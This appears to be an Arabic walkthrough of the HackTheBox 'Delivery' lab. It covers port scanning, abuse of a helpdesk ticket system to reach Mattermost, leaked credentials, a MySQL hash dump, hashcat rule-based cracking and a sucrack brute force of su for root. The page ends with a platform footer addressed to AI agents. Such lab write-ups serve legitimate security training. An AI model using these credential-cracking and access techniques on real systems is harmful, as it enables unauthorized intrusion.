> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/delivery-hackthebox-writeup.md). # شرح Delivery HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * تعداد الاستضافة الافتراضية * إساءة استخدام نظام تذاكر الدعم * الوصول إلى Mattermost * تسرب المعلومات * تعداد قاعدة البيانات - MYSQL * كسر التجزئات * اللعب بقواعد hashcat من أجل إنشاء كلمات المرور * العب مع sucrack لمعرفة كلمة مرور المستخدم {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.222 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22,80,8085)

**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,80,8065 10.10.10.222 -oN targeted ```

### المنفذ 80:

**تحديد المعلومات باستخدام WhatWeb:** يكشف تشغيل WhatWeb عن مستخدم **jane** مع عنوان البريد الإلكتروني ****. ```bash whatweb 10.10.10.222 ```

كما نجد نطاقًا **delivery.htb** ونطاقًا فرعيًا **helpdesk.delivery.htb**.

**تهيئة ملف /etc/hosts** نضيف عنوان IP الخاص بالهدف إلى ملفنا `/etc/hosts` لتسهيل عمليات حلّ DNS المحلية.

## **مركز الدعم - HelpDesk :** الـ `helpdesk.delivery.htb` يسمح لك النطاق الفرعي بإنشاء تذاكر دعم. نحاول إنشاء حساب بالمعلومات التالية:

**فتح تذكرة** * `jordan@delivery.com`

تُفتح تذكرة جديدة، ونتلقى رسالة بريد إلكتروني تحتوي على معرّف: * **البريد الإلكتروني** : <7990131@delivery.htb> * **معرّف التذكرة**: 7990131

عند التحقق من التذكرة، نستخدم عنوان بريدنا الإلكتروني (****)، رغم أننا لم ننشئها، بالإضافة إلى رقم التذكرة المستلمة (**7990131**).

يتيح لنا هذا الوصول إلى صندوق البريد المرتبط بها.

### المنفذ 8065 - Mattermost **اكتشاف Mattermost:** المنفذ **8065** يستضيف **Mattermost** نظام إدارة المحتوى.

**محاولة إنشاء حساب:** نحاول إنشاء حساب، ثم نستخدم عنوان البريد الإلكتروني: <7990131@delivery.htb> الاسم: jordan1 كلمة المرور Jordan1234#

نتلقى رسالة تحقق تحتوي على **رمز** لتفعيل الحساب:

{% code overflow="wrap" %} ``` http://delivery.htb:8065/do_verify_email?token=hs36amqfpkm3hcguxsmrton83e7a9k7xp595rga6zhwzd35awf1krpftfqink3go&email=7990131%40delivery.htb ``` {% endcode %}

بعد التحقق، نتصل ببيانات اعتمادنا ونصل إلى لوحة إدارة Mattermost **لوحة الإدارة**.

**استرداد بيانات الاعتماد** في **"تبديل القنوات"** في القسم نجد رسالة تحتوي على اسم مستخدم وكلمة مرور: * **اسم المستخدم**: `maildeliverer` * **كلمة المرور**: لقد/\_حصلت/\_على/\_البريد!

ثم نحاول إجراء اتصال SSH باستخدام هذه البيانات: ```bash ssh maildeliverer@delivery.htb ```

### الراية user.txt :)

## **تصعيد الامتيازات** ننتقل إلى جذر النظام، في `/var/www/html/osticket` المجلد، ونقوم بالتصفية حسب الكلمة **كلمة المرور**: ```bash grep -ir "password" ``` لا نجد أي شيء مثير للاهتمام. سنبحث الآن عن معلومات لـ **Mattermost** بالتصفية على العمليات الجارية: ```bash ps -faux ```

نلاحظ أن Mattermost مثبت في `/opt` ونجد **config.json** الملف.

عند فتحه، نكتشف بيانات اعتماد لقاعدة بيانات SQL:

* اسم المستخدم: `mmuser` * كلمة المرور: `Crack_The_MM_Admin_PW` ### الاتصال بـ MySQL نستخدم هذه البيانات للاتصال بقاعدة البيانات: ```bash mysql -u mmuser -p ``` نستعرض قواعد البيانات: ```sql show databases; use mattermost ```

نسرد الجداول المتاحة ونصف بنية **المستخدمين** الجدول: ```sql show tables; describe Users; ```

أخيرًا، نحدد **اسم المستخدم** و **كلمة المرور** الأعمدة: ```sql select Username, Password from Users; ``` ثم نجد **تجزئة كلمة مرور الجذر:** `$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO`

### 1. القوة الغاشمة - التجزئة نستخدم **hashid** لتحديد نوع الهاش: ```bash hashid hash ```

تم التعرف على الهاش على أنه **bcrypt**. مع **John the Ripper**, سنشن هجوم قوة غاشمة بتحديد **bcrypt** الصيغة: ```bash john --format=bcrypt hash -w /usr/share/wordlists/rockyou.txt ``` ومع ذلك، لا يعمل مع **rockyou.txt**, لم يتم العثور على كلمة مرور.

عند ملاحظة الدردشة الجماعية، نلاحظ أنهم يذكرون مباشرة أن كلمة المرور **"PleaseSubscribe!"** مُعاد استخدامها. لا تظهر هذه الكلمة المرور في **rockyou.txt**، لكن يمكن لمهاجم استخدام **hashcat** لإنشاء متغيرات.

### متغيرات كلمة المرور - Hashcat **توليد المتغيرات باستخدام Hashcat** مع **hashcat**، سننشئ تنويعات لكلمة المرور: ```bash hashcat --stdout -r /usr/share/hashcat/rules/best64.rule password ```

ثم سنحاول كسر الهاش باستخدام **hashcat** والمعجم الجديد: ```bash hashcat -m 3200 -a 0 hash passwords ``` كلمة المرور التي تم العثور عليها هي: **PleaseSubscribe!21**

### 2. القوة الغاشمة على "su" - sucrack سنشن هجومًا على **su**: ```bash sucrack -w 20 -u root كلمات المرور ```

يخبرنا بأن كلمة المرور صحيحة: **PleaseSubscribe!21** تمكّنا من تسجيل الدخول بنجاح باسم **root**.

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/delivery-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.